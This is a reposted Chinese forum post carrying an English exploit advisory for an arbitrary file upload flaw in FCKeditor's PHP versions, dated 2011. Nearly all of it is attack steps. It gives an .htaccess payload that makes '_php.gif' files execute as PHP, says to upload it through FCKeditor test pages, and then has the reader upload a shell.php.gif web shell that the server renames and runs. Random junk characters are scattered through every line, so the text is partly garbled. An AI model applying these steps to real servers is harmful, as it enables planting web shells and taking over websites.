FCKeditor所有php版本Upload上传漏洞7 j" x$ c% }7 ] F
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07
7 r& l n0 ?, A+ g减小字体 增大字体; |; y8 x9 A$ b' S" ~
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
! L; M( f' {5 T2 @[+] Date: 2011
5 H4 I4 M7 R/ }8 N6 q/ i[+] Author : sinesafe.cn
9 u& X5 f! k9 G, p( w[+] Website : WwW.sinesafe.cn
, J. I# `7 `6 N( u6 W———————————————————
2 O2 m7 D% X3 }! x( g0 z5 B4 z/ Y1.create a htaccess file:$ h' w0 R* _% N% d* b
code:/ y- Z1 \8 y4 H: K
<FilesMatch “_php.gif”>4 S6 ?& g4 R' v) _! Q& F0 ?
SetHandler application/x-httpd-php
1 ` |4 C, @3 T</FilesMatch>
( I! {9 J8 c5 M' V$ p/ H, j! c7 D7 w
2.Now upload this htaccess with FCKeditor.
' l! g! D; y, i m* x: X
& p. O) h' c% q* G" u& Yhttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html e2 Q/ G" |! P4 U9 ]
$ B8 D# y3 I! M6 `( [
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html( Q, C' S/ q/ g$ V; R
% y' J5 M* p) ]2 p% u
———————————————————————————————-( U2 M& I. H" }! U3 F
3.Now upload shell.php.gif with FCKeditor.
8 f9 r0 r/ J1 a$ i8 R9 e5 E4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.; f9 U& y+ G& p/ T# b0 M n
5.http://www.sinesafe.cn/anything/shell_php.gif
7 k. w2 e; q; q2 B: P% V6.Now shell is available from server. |
" ]' L$ F7 }, z4 s5 O
$ t9 L8 ?2 v( i5 b- [4 b) \5 Q/ I
|
发表于 2013-10-27 17:25:21
收藏
支持
反对